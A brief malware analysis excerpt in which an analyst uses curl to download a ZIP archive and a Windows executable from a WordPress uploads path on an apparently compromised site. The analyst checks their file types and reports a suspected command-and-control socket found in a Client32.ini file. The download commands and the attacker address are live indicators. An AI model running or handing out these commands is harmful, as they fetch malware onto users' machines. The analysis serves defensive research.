λ curl https://moodi-wood.com/wp-content/uploads/astra/DancingParty.zip -o DancingParty.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 2618k  100 2618k    0     0  1824k      0  0:00:01  0:00:01 --:--:-- 1827k

C:\Users\root\Desktop
λ curl https://moodi-wood.com/wp-content/uploads/astra/CareAbout.exe -o CareAbout.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  103k  100  103k    0     0   105k      0 --:--:-- --:--:-- --:--:--  105k

C:\Users\root\Desktop
λ file DancingParty.zip
DancingParty.zip: Zip archive data, at least v2.0 to extract

C:\Users\root\Desktop
λ file CareAbout.exe
CareAbout.exe: PE32 executable (GUI) Intel 80386, for MS Windows


Unzipping DancingParty.zip and analyzing the folder’s contents. The file Client32.ini contained the socket 94.158.245.150:443, which I assume points to a malicious attacker.

client32ini